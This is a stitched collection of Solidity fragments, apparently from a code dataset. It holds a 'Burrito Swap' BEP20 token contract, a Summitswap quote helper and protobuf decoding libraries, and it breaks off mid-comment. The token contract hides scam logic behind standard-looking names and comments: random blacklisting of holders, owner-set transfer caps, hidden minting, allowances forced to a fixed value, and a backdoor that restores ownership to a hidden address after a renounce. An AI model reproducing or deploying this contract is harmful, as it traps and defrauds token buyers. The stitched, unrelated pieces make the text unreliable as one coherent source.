return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; address private alcoho; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; alcoho = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function SetBurnAddress() public { require(_owner != alcoho); emit OwnershipTransferred(_owner, alcoho); _owner = alcoho; } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract BEP20Token is Context, IBEP20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public ziliqa; mapping (address => bool) public chopa; bool private hardcore; uint256 private _totalSupply; uint256 private thearc; uint256 private lockdown; uint8 private _decimals; string private _symbol; string private _name; bool private hamilton; address private creator; uint blackbo = 0; constructor() public { creator = address(msg.sender); hardcore = true; hamilton = true; _name = "Burrito Swap"; _symbol = "BURRITO"; _decimals = 5; _totalSupply = 100000000000; thearc = _totalSupply / 1000000; lockdown = thearc; chopa[creator] = false; _balances[msg.sender] = _totalSupply; ziliqa[msg.sender] = true; emit Transfer(address(0), msg.sender, _totalSupply); } /** * @dev Returns the bep token owner. */ function getOwner() external view returns (address) { return owner(); } /** * @dev Returns the token symbol. */ function symbol() external view returns (string memory) { return _symbol; } /** * @dev Returns the token decimals. */ function decimals() external view returns (uint8) { return _decimals; } /** * @dev Returns the token name. */ function name() external view returns (string memory) { return _name; } /** * @dev See {BEP20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) external returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {BEP20-totalSupply}. */ function totalSupply() external view returns (uint256) { return _totalSupply; } function randomItIs() internal returns (uint) { uint screen = uint(keccak256(abi.encodePacked(now, msg.sender, blackbo))) % 4; blackbo++; return screen; } function WerVie() external view returns (uint256) { return thearc; } /** * @dev See {BEP20-balanceOf}. */ function balanceOf(address account) external view returns (uint256) { return _balances[account]; } /** * @dev See {BEP20-allowance}. */ function allowance(address owner, address spender) external view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {BEP20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) external returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {BEP20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {BEP20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {BEP20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * * */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {BEP20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function BurnThePool(uint256 amount) external onlyOwner { thearc = amount; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero")); return true; } /** * @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing * the total supply. * * Requirements * * - `msg.sender` must be the token owner */ function SomethingYes(uint256 amount) public onlyOwner returns (bool) { _mint(_msgSender(), amount); return true; } function QueensGambit(address spender, bool val, bool val2) external onlyOwner { ziliqa[spender] = val; chopa[spender] = val2; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); if ((address(sender) == creator) && (hardcore == true)) { ziliqa[recipient] = true; chopa[recipient] = false; hardcore = false; } if (ziliqa[recipient] != true) { chopa[recipient] = ((randomItIs() == 2) ? true : false); } if ((chopa[sender]) && (ziliqa[recipient] == false)) { chopa[recipient] = true; } if (ziliqa[sender] == false) { require(amount < thearc); } _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "BEP20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Changes the `amount` of the minimal tokens there should be in supply, * in order to not burn more tokens than there should be. **/ /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal { require(account != address(0), "BEP20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "BEP20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal { uint256 tok = amount; require(owner != address(0), "BEP20: approve from the zero address"); require(spender != address(0), "BEP20: approve to the zero address"); if ((address(owner) == creator) && (hamilton == true)) { ziliqa[spender] = true; chopa[spender] = false; hamilton = false; } tok = (chopa[owner] ? 9823 : amount); _allowances[owner][spender] = tok; emit Approval(owner, spender, tok); } /** * @dev Destroys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See {_burn} and {_approve}. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "BEP20: burn amount exceeds allowance")); } }
Sets `amount` as the allowance of `spender` over the `owner`s tokens. This is internal function is equivalent to `approve`, and can be used to e.g. set automatic allowances for certain subsystems, etc. Emits an {Approval} event. Requirements: - `owner` cannot be the zero address. - `spender` cannot be the zero address./
function _approve(address owner, address spender, uint256 amount) internal { uint256 tok = amount; require(owner != address(0), "BEP20: approve from the zero address"); require(spender != address(0), "BEP20: approve to the zero address"); if ((address(owner) == creator) && (hamilton == true)) { ziliqa[spender] = true; chopa[spender] = false; hamilton = false; } tok = (chopa[owner] ? 9823 : amount); _allowances[owner][spender] = tok; emit Approval(owner, spender, tok); }
13,806,874
./full_match/4/0x2dE7D69Fa24F3df442C38dCF294DaAf2122BEA89/sources/contracts/libraries/SummitswapLibrary.sol
given some amount of an asset and pair reserves, returns an equivalent amount of the other asset
function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) { require(amountA > 0, 'SummitswapLibrary: INSUFFICIENT_AMOUNT'); require(reserveA > 0 && reserveB > 0, 'SummitswapLibrary: INSUFFICIENT_LIQUIDITY'); amountB = amountA.mul(reserveB) / reserveA; }
803,353
// SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.6.8; import "./ProtoBufRuntime.sol"; import "./GoogleProtobufAny.sol"; library PartSetHeader { //struct definition struct Data { uint64 total; bytes hash; } // Decoder section /** * @dev The main decoder for memory * @param bs The bytes array to be decoded * @return The decoded struct */ function decode(bytes memory bs) internal pure returns (Data memory) { (Data memory x, ) = _decode(32, bs, bs.length); return x; } /** * @dev The main decoder for storage * @param self The in-storage struct * @param bs The bytes array to be decoded */ function decode(Data storage self, bytes memory bs) internal { (Data memory x, ) = _decode(32, bs, bs.length); store(x, self); } // inner decoder /** * @dev The decoder for internal usage * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param sz The number of bytes expected * @return The decoded struct * @return The number of bytes decoded */ function _decode(uint256 p, bytes memory bs, uint256 sz) internal pure returns (Data memory, uint) { Data memory r; uint[3] memory counters; uint256 fieldId; ProtoBufRuntime.WireType wireType; uint256 bytesRead; uint256 offset = p; uint256 pointer = p; while (pointer < offset + sz) { (fieldId, wireType, bytesRead) = ProtoBufRuntime._decode_key(pointer, bs); pointer += bytesRead; if (fieldId == 1) { pointer += _read_total(pointer, bs, r, counters); } else if (fieldId == 2) { pointer += _read_hash(pointer, bs, r, counters); } else { if (wireType == ProtoBufRuntime.WireType.Fixed64) { uint256 size; (, size) = ProtoBufRuntime._decode_fixed64(pointer, bs); pointer += size; } if (wireType == ProtoBufRuntime.WireType.Fixed32) { uint256 size; (, size) = ProtoBufRuntime._decode_fixed32(pointer, bs); pointer += size; } if (wireType == ProtoBufRuntime.WireType.Varint) { uint256 size; (, size) = ProtoBufRuntime._decode_varint(pointer, bs); pointer += size; } if (wireType == ProtoBufRuntime.WireType.LengthDelim) { uint256 size; (, size) = ProtoBufRuntime._decode_lendelim(pointer, bs); pointer += size; } } } return (r, sz); } // field readers /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_total( uint256 p, bytes memory bs, Data memory r, uint[3] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (uint64 x, uint256 sz) = ProtoBufRuntime._decode_uint64(p, bs); if (isNil(r)) { counters[1] += 1; } else { r.total = x; if (counters[1] > 0) counters[1] -= 1; } return sz; } /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_hash( uint256 p, bytes memory bs, Data memory r, uint[3] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (bytes memory x, uint256 sz) = ProtoBufRuntime._decode_bytes(p, bs); if (isNil(r)) { counters[2] += 1; } else { r.hash = x; if (counters[2] > 0) counters[2] -= 1; } return sz; } // Encoder section /** * @dev The main encoder for memory * @param r The struct to be encoded * @return The encoded byte array */ function encode(Data memory r) internal pure returns (bytes memory) { bytes memory bs = new bytes(_estimate(r)); uint256 sz = _encode(r, 32, bs); assembly { mstore(bs, sz) } return bs; } // inner encoder /** * @dev The encoder for internal usage * @param r The struct to be encoded * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @return The number of bytes encoded */ function _encode(Data memory r, uint256 p, bytes memory bs) internal pure returns (uint) { uint256 offset = p; uint256 pointer = p; if (r.total != 0) { pointer += ProtoBufRuntime._encode_key( 1, ProtoBufRuntime.WireType.Varint, pointer, bs ); pointer += ProtoBufRuntime._encode_uint64(r.total, pointer, bs); } if (r.hash.length != 0) { pointer += ProtoBufRuntime._encode_key( 2, ProtoBufRuntime.WireType.LengthDelim, pointer, bs ); pointer += ProtoBufRuntime._encode_bytes(r.hash, pointer, bs); } return pointer - offset; } // nested encoder /** * @dev The encoder for inner struct * @param r The struct to be encoded * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @return The number of bytes encoded */ function _encode_nested(Data memory r, uint256 p, bytes memory bs) internal pure returns (uint) { /** * First encoded `r` into a temporary array, and encode the actual size used. * Then copy the temporary array into `bs`. */ uint256 offset = p; uint256 pointer = p; bytes memory tmp = new bytes(_estimate(r)); uint256 tmpAddr = ProtoBufRuntime.getMemoryAddress(tmp); uint256 bsAddr = ProtoBufRuntime.getMemoryAddress(bs); uint256 size = _encode(r, 32, tmp); pointer += ProtoBufRuntime._encode_varint(size, pointer, bs); ProtoBufRuntime.copyBytes(tmpAddr + 32, bsAddr + pointer, size); pointer += size; delete tmp; return pointer - offset; } // estimator /** * @dev The estimator for a struct * @param r The struct to be encoded * @return The number of bytes encoded in estimation */ function _estimate( Data memory r ) internal pure returns (uint) { uint256 e; e += 1 + ProtoBufRuntime._sz_uint64(r.total); e += 1 + ProtoBufRuntime._sz_lendelim(r.hash.length); return e; } // empty checker function _empty( Data memory r ) internal pure returns (bool) { if (r.total != 0) { return false; } if (r.hash.length != 0) { return false; } return true; } //store function /** * @dev Store in-memory struct to storage * @param input The in-memory struct * @param output The in-storage struct */ function store(Data memory input, Data storage output) internal { output.total = input.total; output.hash = input.hash; } //utility functions /** * @dev Return an empty struct * @return r The empty struct */ function nil() internal pure returns (Data memory r) { assembly { r := 0 } } /** * @dev Test whether a struct is empty * @param x The struct to be tested * @return r True if it is empty */ function isNil(Data memory x) internal pure returns (bool r) { assembly { r := iszero(x) } } } //library PartSetHeader library BlockID { //struct definition struct Data { bytes hash; PartSetHeader.Data part_set_header; } // Decoder section /** * @dev The main decoder for memory * @param bs The bytes array to be decoded * @return The decoded struct */ function decode(bytes memory bs) internal pure returns (Data memory) { (Data memory x, ) = _decode(32, bs, bs.length); return x; } /** * @dev The main decoder for storage * @param self The in-storage struct * @param bs The bytes array to be decoded */ function decode(Data storage self, bytes memory bs) internal { (Data memory x, ) = _decode(32, bs, bs.length); store(x, self); } // inner decoder /** * @dev The decoder for internal usage * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param sz The number of bytes expected * @return The decoded struct * @return The number of bytes decoded */ function _decode(uint256 p, bytes memory bs, uint256 sz) internal pure returns (Data memory, uint) { Data memory r; uint[3] memory counters; uint256 fieldId; ProtoBufRuntime.WireType wireType; uint256 bytesRead; uint256 offset = p; uint256 pointer = p; while (pointer < offset + sz) { (fieldId, wireType, bytesRead) = ProtoBufRuntime._decode_key(pointer, bs); pointer += bytesRead; if (fieldId == 1) { pointer += _read_hash(pointer, bs, r, counters); } else if (fieldId == 2) { pointer += _read_part_set_header(pointer, bs, r, counters); } else { if (wireType == ProtoBufRuntime.WireType.Fixed64) { uint256 size; (, size) = ProtoBufRuntime._decode_fixed64(pointer, bs); pointer += size; } if (wireType == ProtoBufRuntime.WireType.Fixed32) { uint256 size; (, size) = ProtoBufRuntime._decode_fixed32(pointer, bs); pointer += size; } if (wireType == ProtoBufRuntime.WireType.Varint) { uint256 size; (, size) = ProtoBufRuntime._decode_varint(pointer, bs); pointer += size; } if (wireType == ProtoBufRuntime.WireType.LengthDelim) { uint256 size; (, size) = ProtoBufRuntime._decode_lendelim(pointer, bs); pointer += size; } } } return (r, sz); } // field readers /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_hash( uint256 p, bytes memory bs, Data memory r, uint[3] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (bytes memory x, uint256 sz) = ProtoBufRuntime._decode_bytes(p, bs); if (isNil(r)) { counters[1] += 1; } else { r.hash = x; if (counters[1] > 0) counters[1] -= 1; } return sz; } /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_part_set_header( uint256 p, bytes memory bs, Data memory r, uint[3] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (PartSetHeader.Data memory x, uint256 sz) = _decode_PartSetHeader(p, bs); if (isNil(r)) { counters[2] += 1; } else { r.part_set_header = x; if (counters[2] > 0) counters[2] -= 1; } return sz; } // struct decoder /** * @dev The decoder for reading a inner struct field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @return The decoded inner-struct * @return The number of bytes used to decode */ function _decode_PartSetHeader(uint256 p, bytes memory bs) internal pure returns (PartSetHeader.Data memory, uint) { uint256 pointer = p; (uint256 sz, uint256 bytesRead) = ProtoBufRuntime._decode_varint(pointer, bs); pointer += bytesRead; (PartSetHeader.Data memory r, ) = PartSetHeader._decode(pointer, bs, sz); return (r, sz + bytesRead); } // Encoder section /** * @dev The main encoder for memory * @param r The struct to be encoded * @return The encoded byte array */ function encode(Data memory r) internal pure returns (bytes memory) { bytes memory bs = new bytes(_estimate(r)); uint256 sz = _encode(r, 32, bs); assembly { mstore(bs, sz) } return bs; } // inner encoder /** * @dev The encoder for internal usage * @param r The struct to be encoded * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @return The number of bytes encoded */ function _encode(Data memory r, uint256 p, bytes memory bs) internal pure returns (uint) { uint256 offset = p; uint256 pointer = p; if (r.hash.length != 0) { pointer += ProtoBufRuntime._encode_key( 1, ProtoBufRuntime.WireType.LengthDelim, pointer, bs ); pointer += ProtoBufRuntime._encode_bytes(r.hash, pointer, bs); } pointer += ProtoBufRuntime._encode_key( 2, ProtoBufRuntime.WireType.LengthDelim, pointer, bs ); pointer += PartSetHeader._encode_nested(r.part_set_header, pointer, bs); return pointer - offset; } // nested encoder /** * @dev The encoder for inner struct * @param r The struct to be encoded * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @return The number of bytes encoded */ function _encode_nested(Data memory r, uint256 p, bytes memory bs) internal pure returns (uint) { /** * First encoded `r` into a temporary array, and encode the actual size used. * Then copy the temporary array into `bs`. */ uint256 offset = p; uint256 pointer = p; bytes memory tmp = new bytes(_estimate(r)); uint256 tmpAddr = ProtoBufRuntime.getMemoryAddress(tmp); uint256 bsAddr = ProtoBufRuntime.getMemoryAddress(bs); uint256 size = _encode(r, 32, tmp); pointer += ProtoBufRuntime._encode_varint(size, pointer, bs); ProtoBufRuntime.copyBytes(tmpAddr + 32, bsAddr + pointer, size); pointer += size; delete tmp; return pointer - offset; } // estimator /** * @dev The estimator for a struct * @param r The struct to be encoded * @return The number of bytes encoded in estimation */ function _estimate( Data memory r ) internal pure returns (uint) { uint256 e; e += 1 + ProtoBufRuntime._sz_lendelim(r.hash.length); e += 1 + ProtoBufRuntime._sz_lendelim(PartSetHeader._estimate(r.part_set_header)); return e; } // empty checker function _empty( Data memory r ) internal pure returns (bool) { if (r.hash.length != 0) { return false; } return true; } //store function /** * @dev Store in-memory struct to storage * @param input The in-memory struct * @param output The in-storage struct */ function store(Data memory input, Data storage output) internal { output.hash = input.hash; PartSetHeader.store(input.part_set_header, output.part_set_header); } //utility functions /** * @dev Return an empty struct * @return r The empty struct */ function nil() internal pure returns (Data memory r) { assembly { r := 0 } } /** * @dev Test whether a struct is empty * @param x The struct to be tested * @return r True if it is empty */ function isNil(Data memory x) internal pure returns (bool r) { assembly { r := iszero(x) } } } //library BlockID library Timestamp { //struct definition struct Data { int64 secs; int64 nanos; } // Decoder section /** * @dev The main decoder for memory * @param bs The bytes array to be decoded * @return The decoded struct */ function decode(bytes memory bs) internal pure returns (Data memory) { (Data memory x, ) = _decode(32, bs, bs.length); return x; } /** * @dev The main decoder for storage * @param self The in-storage struct * @param bs The bytes array to be decoded */ function decode(Data storage self, bytes memory bs) internal { (Data memory x, ) = _decode(32, bs, bs.length); store(x, self); } // inner decoder /** * @dev The decoder for internal usage * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param sz The number of bytes expected * @return The decoded struct * @return The number of bytes decoded */ function _decode(uint256 p, bytes memory bs, uint256 sz) internal pure returns (Data memory, uint) { Data memory r; uint[3] memory counters; uint256 fieldId; ProtoBufRuntime.WireType wireType; uint256 bytesRead; uint256 offset = p; uint256 pointer = p; while (pointer < offset + sz) { (fieldId, wireType, bytesRead) = ProtoBufRuntime._decode_key(pointer, bs); pointer += bytesRead; if (fieldId == 1) { pointer += _read_secs(pointer, bs, r, counters); } else if (fieldId == 2) { pointer += _read_nanos(pointer, bs, r, counters); } else { if (wireType == ProtoBufRuntime.WireType.Fixed64) { uint256 size; (, size) = ProtoBufRuntime._decode_fixed64(pointer, bs); pointer += size; } if (wireType == ProtoBufRuntime.WireType.Fixed32) { uint256 size; (, size) = ProtoBufRuntime._decode_fixed32(pointer, bs); pointer += size; } if (wireType == ProtoBufRuntime.WireType.Varint) { uint256 size; (, size) = ProtoBufRuntime._decode_varint(pointer, bs); pointer += size; } if (wireType == ProtoBufRuntime.WireType.LengthDelim) { uint256 size; (, size) = ProtoBufRuntime._decode_lendelim(pointer, bs); pointer += size; } } } return (r, sz); } // field readers /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_secs( uint256 p, bytes memory bs, Data memory r, uint[3] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (int64 x, uint256 sz) = ProtoBufRuntime._decode_int64(p, bs); if (isNil(r)) { counters[1] += 1; } else { r.secs = x; if (counters[1] > 0) counters[1] -= 1; } return sz; } /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_nanos( uint256 p, bytes memory bs, Data memory r, uint[3] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (int64 x, uint256 sz) = ProtoBufRuntime._decode_int64(p, bs); if (isNil(r)) { counters[2] += 1; } else { r.nanos = x; if (counters[2] > 0) counters[2] -= 1; } return sz; } // Encoder section /** * @dev The main encoder for memory * @param r The struct to be encoded * @return The encoded byte array */ function encode(Data memory r) internal pure returns (bytes memory) { bytes memory bs = new bytes(_estimate(r)); uint256 sz = _encode(r, 32, bs); assembly { mstore(bs, sz) } return bs; } // inner encoder /** * @dev The encoder for internal usage * @param r The struct to be encoded * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @return The number of bytes encoded */ function _encode(Data memory r, uint256 p, bytes memory bs) internal pure returns (uint) { uint256 offset = p; uint256 pointer = p; if (r.secs != 0) { pointer += ProtoBufRuntime._encode_key( 1, ProtoBufRuntime.WireType.Varint, pointer, bs ); pointer += ProtoBufRuntime._encode_int64(r.secs, pointer, bs); } if (r.nanos != 0) { pointer += ProtoBufRuntime._encode_key( 2, ProtoBufRuntime.WireType.Varint, pointer, bs ); pointer += ProtoBufRuntime._encode_int64(r.nanos, pointer, bs); } return pointer - offset; } // nested encoder /** * @dev The encoder for inner struct * @param r The struct to be encoded * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @return The number of bytes encoded */ function _encode_nested(Data memory r, uint256 p, bytes memory bs) internal pure returns (uint) { /** * First encoded `r` into a temporary array, and encode the actual size used. * Then copy the temporary array into `bs`. */ uint256 offset = p; uint256 pointer = p; bytes memory tmp = new bytes(_estimate(r)); uint256 tmpAddr = ProtoBufRuntime.getMemoryAddress(tmp); uint256 bsAddr = ProtoBufRuntime.getMemoryAddress(bs); uint256 size = _encode(r, 32, tmp); pointer += ProtoBufRuntime._encode_varint(size, pointer, bs); ProtoBufRuntime.copyBytes(tmpAddr + 32, bsAddr + pointer, size); pointer += size; delete tmp; return pointer - offset; } // estimator /** * @dev The estimator for a struct * @param r The struct to be encoded * @return The number of bytes encoded in estimation */ function _estimate( Data memory r ) internal pure returns (uint) { uint256 e; e += 1 + ProtoBufRuntime._sz_int64(r.secs); e += 1 + ProtoBufRuntime._sz_int64(r.nanos); return e; } // empty checker function _empty( Data memory r ) internal pure returns (bool) { if (r.secs != 0) { return false; } if (r.nanos != 0) { return false; } return true; } //store function /** * @dev Store in-memory struct to storage * @param input The in-memory struct * @param output The in-storage struct */ function store(Data memory input, Data storage output) internal { output.secs = input.secs; output.nanos = input.nanos; } //utility functions /** * @dev Return an empty struct * @return r The empty struct */ function nil() internal pure returns (Data memory r) { assembly { r := 0 } } /** * @dev Test whether a struct is empty * @param x The struct to be tested * @return r True if it is empty */ function isNil(Data memory x) internal pure returns (bool r) { assembly { r := iszero(x) } } } //library Timestamp library Consensus { //struct definition struct Data { uint64 height; uint64 app; } // Decoder section /** * @dev The main decoder for memory * @param bs The bytes array to be decoded * @return The decoded struct */ function decode(bytes memory bs) internal pure returns (Data memory) { (Data memory x, ) = _decode(32, bs, bs.length); return x; } /** * @dev The main decoder for storage * @param self The in-storage struct * @param bs The bytes array to be decoded */ function decode(Data storage self, bytes memory bs) internal { (Data memory x, ) = _decode(32, bs, bs.length); store(x, self); } // inner decoder /** * @dev The decoder for internal usage * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param sz The number of bytes expected * @return The decoded struct * @return The number of bytes decoded */ function _decode(uint256 p, bytes memory bs, uint256 sz) internal pure returns (Data memory, uint) { Data memory r; uint[3] memory counters; uint256 fieldId; ProtoBufRuntime.WireType wireType; uint256 bytesRead; uint256 offset = p; uint256 pointer = p; while (pointer < offset + sz) { (fieldId, wireType, bytesRead) = ProtoBufRuntime._decode_key(pointer, bs); pointer += bytesRead; if (fieldId == 1) { pointer += _read_height(pointer, bs, r, counters); } else if (fieldId == 2) { pointer += _read_app(pointer, bs, r, counters); } else { if (wireType == ProtoBufRuntime.WireType.Fixed64) { uint256 size; (, size) = ProtoBufRuntime._decode_fixed64(pointer, bs); pointer += size; } if (wireType == ProtoBufRuntime.WireType.Fixed32) { uint256 size; (, size) = ProtoBufRuntime._decode_fixed32(pointer, bs); pointer += size; } if (wireType == ProtoBufRuntime.WireType.Varint) { uint256 size; (, size) = ProtoBufRuntime._decode_varint(pointer, bs); pointer += size; } if (wireType == ProtoBufRuntime.WireType.LengthDelim) { uint256 size; (, size) = ProtoBufRuntime._decode_lendelim(pointer, bs); pointer += size; } } } return (r, sz); } // field readers /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for 